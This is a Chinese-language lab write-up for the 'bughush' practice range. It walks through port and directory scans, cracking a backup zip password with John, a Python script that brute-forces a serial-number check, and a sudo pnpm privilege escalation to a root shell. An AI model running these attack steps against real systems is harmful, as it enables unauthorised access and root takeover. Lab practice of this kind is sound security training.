bughush靶场学习笔记

正文

kali攻击机地址:192.168.1.16

靶场地址:192.168.1.20

1、端口扫描

在kali里,使用nmap工具:

bash 复制代码
nmap -sV -v -T4 -A 192.168.1.20

2、目录扫描

使用dirssearch工具扫描8080端口下的所有目录:

bash 复制代码
dirsearch -u http://$IP:8080 -x 403 -e txt,php,html

发现有robots.txt文件,尝试读取这个目录下的文件,发现提示:

3、解密ZIP密码哈希值

根据提示,首先要获取哈希,用 zip2john 工具从加密的2026bak.zip 包里提取密码哈希。然后爆破密码,用 John工具+rockyou 字典破解哈希,拿到压缩包密码。

先把文件下载下来:

bash 复制代码
wget http://192.168.1.16:8080/2026bak.zip

然后使用zip2john工具:

bash 复制代码
zip2john 2026bak.zip > ziphash

使用john工具+rockyou字典:

bash 复制代码
john --wordlist=/usr/share/wordlists/rockyou.txt ziphash

得到2026bak.zip的密码为123456789,解压后是网页的源码:

在js文件夹里的index.js里发现玄机:

javascript 复制代码
// ==============================================
//  功能:序列号 SN 格式化输入 + 自定义算法哈希 + 接口验证
// ==============================================

// 页面DOM加载完成后执行
document.addEventListener('DOMContentLoaded', function () {

    // ==========================
    // 1. 获取页面元素
    // ==========================
    // 获取序列号输入框
    const snInput = document.getElementById('sn-input');
    // 获取验证按钮
    const verifyBtn = document.getElementById('verify-btn');
    // 获取结果显示文本
    const responseText = document.getElementById('response-text');
    // 获取状态图标
    const statusIcon = document.getElementById('status-icon');

    // ==========================
    // 2. 输入框实时格式化(自动加横杠 -)
    // ==========================
    snInput.addEventListener('input', function () {
        // 记录当前光标位置,防止跳动
        const startPos = snInput.selectionStart;
        
        // 调用格式化函数,自动加横杠
        const formattedValue = formatSerialNumber(snInput.value);
        
        // 把格式化后的值放回输入框
        snInput.value = formattedValue;

        // 处理光标位置,避免错位
        let newPos = startPos;
        if (startPos === 6 || startPos === 12 || startPos === 18 || startPos === 24) {
            newPos = startPos + 1;
        }
        snInput.setSelectionRange(newPos, newPos);
    });

    // ==========================
    // 3. 回车触发验证
    // ==========================
    snInput.addEventListener('keypress', function (e) {
        if (e.key === 'Enter') {
            verifySerialNumber();
        }
    });

    // ==========================
    // 4. 点击按钮触发验证
    // ==========================
    verifyBtn.addEventListener('click', verifySerialNumber);

    // =====================================================
    // 核心函数1:清理输入(去掉横杠、符号,只保留字母数字大写)
    // =====================================================
    function cleanInput(value) {
        // 正则替换:非字母数字 → 空,再转大写
        return value.replace(/[^a-zA-Z0-9]/g, '').toUpperCase();
    }

    // =====================================================
    // 核心函数2:序列号格式化(每5位加一个横杠 -)
    // =====================================================
    function formatSerialNumber(value) {
        // 先清理非法字符
        let cleanValue = cleanInput(value);
        let formatted = '';

        // 循环每一位,每5位加一个横杠
        for (let i = 0; i < cleanValue.length; i++) {
            if (i > 0 && i % 5 === 0) {
                formatted += '-';
            }
            formatted += cleanValue[i];
        }

        // 返回格式化好的字符串
        return formatted;
    }

    // =====================================================
    // 核心函数3:验证序列号(主逻辑)
    // =====================================================
    function verifySerialNumber() {
        // 1. 获取纯序列号(去掉横杠)
        const serialNumber = cleanInput(snInput.value);

        // 2. 显示"验证中"状态
        statusIcon.className = 'status-icon pending';
        statusIcon.innerHTML = '<i class="fas fa-circle-notch fa-spin"></i>';
        responseText.textContent = "验证中,请稍候...";

        // 3. 判断长度是否为25位(必须25位才合法)
        if (serialNumber.length !== 25) {
            statusIcon.className = 'status-icon error';
            statusIcon.innerHTML = '<i class="fas fa-exclamation-triangle"></i>';
            responseText.textContent = '错误: 序列号长度不正确 (需要25个字符)';
            return;
        }

        // 4. 调用哈希函数,生成SN的哈希值
        let hashSN = CreatehashSN(snInput.value);

        // 5. 延迟300ms请求后端接口(模拟加载)
        setTimeout(function () {
            fetch('/checkSN', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ sn: hashSN }) // 把哈希传给后端
            })
            .then(response => response.json())
            .then(data => {
                // 6. 后端返回成功
                if (data.code === 200) {
                    statusIcon.className = 'status-icon success';
                    statusIcon.innerHTML = '<i class="fas fa-check-circle"></i>';
                    responseText.innerHTML = `序列号 <strong>${snInput.value}</strong> <br>验证成功!<br> ${data.data}`;
                } 
                // 7. 后端返回失败
                else {
                    statusIcon.className = 'status-icon error';
                    statusIcon.innerHTML = '<i class="fas fa-times-circle"></i>';
                    responseText.innerHTML = `序列号 <strong>${snInput.value}</strong> 验证失败!<br>状态: 无效或已被使用`;
                }
            });
        }, 300);
    }

    // =====================================================
    // 工具函数:随机数计算(自定义算法)
    // =====================================================
    function R(seed, min = 100, max = 200) {
        // 这里是自定义的简单计算,实际是为哈希做准备
        return seed + min + max;
    }

    // =====================================================
    // 核心函数4:自定义哈希算法(最重要!)
    // 功能:把25位SN → 运算 → 5个字符 → MD5 → 最终哈希
    // =====================================================
    function CreatehashSN(SN) {
        // 固定向量(题目写死)
        const VI = "Jkdsfojweflk0024564555*";
        // 固定密钥(题目写死)
        const KEY = "6K+35LiN6KaB5bCd6K+V5pq05Yqb56C06Kej77yM5LuU57uG55yL55yL5Yqg5a+G5rqQ5Luj56CB44CC";

        // 定义5个数组,分段存字符计算结果
        let a = [];
        let b = [];
        let e = [];
        let f = [];
        let z = [];

        // ==========================
        // 步骤1:遍历SN每一位,分段塞进不同数组
        // 0-4  → a,b,e,f,z 都放
        // 5-9  → b,e,f,z 放
        // 10-14→ e,f,z 放
        // 15-19→ f,z 放
        // 20-24→ z 放
        // ==========================
        for (let i = 0; i < SN.length; i++) {
            const charCode = SN.charCodeAt(i); // 获取字符的ASCII码

            if (i >= 0 && i <= 4) {
                a.push(R(charCode));
                b.push(R(charCode));
                e.push(R(charCode));
                f.push(R(charCode));
                z.push(R(charCode));
            }
            if (i >= 5 && i <= 9) {
                b.push(R(charCode));
                e.push(R(charCode));
                f.push(R(charCode));
                z.push(R(charCode));
            }
            if (i >= 10 && i <= 14) {
                e.push(R(charCode));
                f.push(R(charCode));
                z.push(R(charCode));
            }
            if (i >= 15 && i <= 19) {
                f.push(R(charCode));
                z.push(R(charCode));
            }
            if (i >= 20 && i <= 24) {
                z.push(R(charCode));
            }
        }

        // ==========================
        // 步骤2:每个数组取最大或最小值
        // ==========================
        if (a[0] > a[2] || a[1] > a[3]) {
            a[0] = Math.max(...a);
        } else {
            a[0] = Math.min(...a);
        }

        if (b[4] > b[6]) {
            b[0] = Math.max(...b);
        } else {
            b[0] = Math.min(...b);
        }

        if (e[8] > e[10] || e[9] > e[11]) {
            e[0] = Math.max(...e);
        } else {
            e[0] = Math.min(...e);
        }

        if (f[0] > f[10]) {
            f[0] = Math.max(...f);
        } else {
            f[0] = Math.min(...f);
        }

        if (z[15] > z[17] || z[18] > z[24]) {
            z[0] = Math.max(...z);
        } else {
            z[0] = Math.min(...z);
        }

        // ==========================
        // 步骤3:累加 → 异或 → 取模 → 从KEY/VI取对应字符
        // ==========================
        let sum = 0;

        // 处理数组 a
        sum += a.reduce((total, cur) => total + cur, 0);
        a[0] = (sum ^ a[0]) % 12;
        a[0] = KEY.charAt(a[0]);

        // 处理数组 b
        sum += b.reduce((total, cur) => total + cur, 0);
        b[0] = (sum ^ b[0]) % 9;
        b[0] = KEY.charAt(b[0]);

        // 处理数组 e
        sum += e.reduce((total, cur) => total + cur, 0);
        e[0] = (sum ^ e[0]) % 8;
        e[0] = KEY.charAt(e[0]);

        // 处理数组 f
        sum += f.reduce((total, cur) => total + cur, 0);
        f[0] = (sum ^ f[0]) % 7;
        f[0] = KEY.charAt(f[0]);

        // 处理数组 z
        sum += z.reduce((total, cur) => total + cur, 0);
        z[0] = (sum ^ z[0]) % 6;
        z[0] = VI.charAt(z[0]);

        // ==========================
        // 步骤4:拼接5个字符 → MD5 → 返回哈希
        // ==========================
        let hashSN = md5(a[0] + b[0] + e[0] + f[0] + z[0]);
        return hashSN;
    }
});

4、编写SN码爆破脚本

我们把序列号填写进去,抓个包看看返回结果:

那就是需要爆破SN码,交给豆包:

bash 复制代码
import requests
import hashlib
import sys
import time
# 目标URL和已知信息
TARGET_URL = "http://192.168.1.20:8080/checkSN" # 根据抓包信息设置目标
KNOWN_HASH = "fff6b1d8405256ad9176e19bf2779969" # 测试序列号的已知hash
KEY ="6K+35LiN6KaB5bCd6K+V5pq05Yqb56C06Kej77yM5LuU57uG55yL55yL5Yqg5a+G5rqQ5Luj56CB44CC"
VI = "Jkdsfojweflk0024564555*"

def calculate_hashsn(c1, c2, c3, c4, c5):
    """计算5个字符组合的MD5值"""
    combined = c1 + c2 + c3 + c4 + c5
    return hashlib.md5(combined.encode()).hexdigest()

def verify_test_combination():
    """验证测试序列号的组合是否有效"""
    print("[*] 验证测试序列号组合...")
    # 测试序列号的5字符组合(需要逆向推导)
    test_combinations = [
                ('6', 'K', '+', '3', 'J'),
                ('6', 'K', '+', '3', 'k'),
                ('6', 'K', '+', '3', 'd')
    ]
    for i, combo in enumerate(test_combinations):
        c1, c2, c3, c4, c5 = combo
        hashsn = calculate_hashsn(c1, c2, c3, c4, c5)
        if hashsn == KNOWN_HASH:
            print(f"[+] 测试序列号组合验证成功: {combo} -> {hashsn}")
            return combo
    print("[-] 未找到匹配的测试序列号组合")
    return None
def brute_force_sn():
    """爆破所有可能的字符组合"""
    total_combinations = 12 * 9 * 8 * 7 * 6
    count = 0
    start_time = time.time()
    found_test = False
    test_combo = None
    print("[*] 开始爆破序列号验证凭证...")
    print(f"[*] 总组合数: {total_combinations}")
    # 枚举所有可能的字符组合
    for c1 in KEY[:12]:
        for c2 in KEY[:9]:
            for c3 in KEY[:8]:
                for c4 in KEY[:7]:
                    for c5 in VI[:6]:
                        count += 1
                        combo = (c1, c2, c3, c4, c5)
                        hashsn = calculate_hashsn(*combo)
                        # 检查是否匹配测试序列号
                        if not found_test and hashsn == KNOWN_HASH:
                            print(f"\n[+] 找到测试序列号组合: {combo}")
                            test_combo = combo
                            found_test = True
                        # 发送验证请求
                        payload = {"sn": hashsn}
                        try:
                            response = requests.post(TARGET_URL,json=payload, timeout=5)
                            if response.status_code == 200:
                                data = response.json()
                                if data.get('code') == 200:
                                    elapsed = time.time() - start_time
                                    print(f"\n\n[+] 爆破成功! 用时:{elapsed:.2f}秒")
                                    print(f"[+] 有效组合: {c1}{c2}{c3}{c4}{c5}")
                                    print(f"[+] 凭证hash: {hashsn}")
                                    print(f"[+] 服务器响应:{data.get('data', '')}")
                                    return
                        except (requests.RequestException,requests.Timeout):
                            continue
                        # 进度显示
                        if count % 100 == 0 or count ==total_combinations:
                            elapsed = time.time() - start_time
                            rate = count / elapsed if elapsed > 0 else 0
                            percent = (count / total_combinations) *100
                            remaining = (total_combinations - count) /rate if rate > 0 else 0
                            sys.stdout.write(
                                f"\r进度: {percent:.2f}% | "f"已完成: {count}/{total_combinations}| "
                                f"速度: {rate:.1f}组合/秒 | "
                                f"预计剩余: {remaining:.1f}秒")
                            sys.stdout.flush()
                            
    print("\n\n[-] 爆破完成,未找到有效凭证")
    if found_test:
        print(f"[+] 测试序列号组合存在: {test_combo}")
    else:
        print("[-] 未找到测试序列号组合")


if __name__ == "__main__":
    # 首先验证测试序列号组合
    test_combo = verify_test_combination()
    # 执行爆破
    brute_force_sn()
    print("\n[*] 脚本执行结束")

最后获得一个返回值welcome:DPKU9-8APJ9-8XZJ0-8XZ08-7H111

5、sudo执行pnpm,实现提权

通过sudo -l发现所有用户能够以 root 身份运行 /root/.local/share/pnpm/globalbin/pm2/usr/bin/pnpm

-h可以查看有哪些使用方法:

bash 复制代码
sudo /usr/bin/pnpm -h
方法(1):参照nmp

查阅GTFOBins,参照npm的用法:

bash 复制代码
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i
#创建临时目录 TF=$(mktemp -d)
#植入恶意脚本echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
#触发特权执行sudo npm -C $TF --unsafe-perm i
# -C $TF,指定工作目录为临时目录,强制加载恶意 package.json
# --unsafe-perm,强制保留root权限执行脚本,使/bin/sh获得root shell
# i,触发安装命令,执行preinstall脚本

编写pnpm的注入方式:

bash 复制代码
TF=$(mktemp -d)
echo '{"scripts":{"preinstall":"/bin/sh"}}' > $TF/package.json
sudo /usr/bin/pnpm -C $TF --unsafe-perm i

成功提权。

方法(2):pnpm直接执行

先初始化package.json这个文件,然后直接执行 /bin/bash :

bash 复制代码
sudo /usr/bin/pnpm init
sudo pnpm exec /bin/sh
相关推荐
hssfscv1 小时前
QT的学习记录1
开发语言·qt·学习
weixin_446260851 小时前
[特殊字符] 从弱点中学习:小计算使用智能体的自动领域专业化
人工智能·学习
wuxinyan1232 小时前
工业级大模型学习之路029:解决双智能体调用数据库报错问题
数据库·人工智能·python·学习·智能体
sakiko_2 小时前
Swift学习笔记34-MVC架构,SwiftUI与UIkit混编练习
笔记·学习·swiftui·mvc·swift
汤米粥2 小时前
python学习——核心语法三
java·python·学习
Afans_fire2 小时前
多渠道广告归因:3种逻辑解决效果分配难题
笔记·内容运营·广告投放·广告营销·徐州巨量星河
泉飒3 小时前
qt软件无法打开编译
笔记·工业视觉
七老板的blog3 小时前
从持久化任务到多 Agent 协作
python·学习·ai
book01213 小时前
华为ensp学习日志 记2026
学习·华为·智能路由器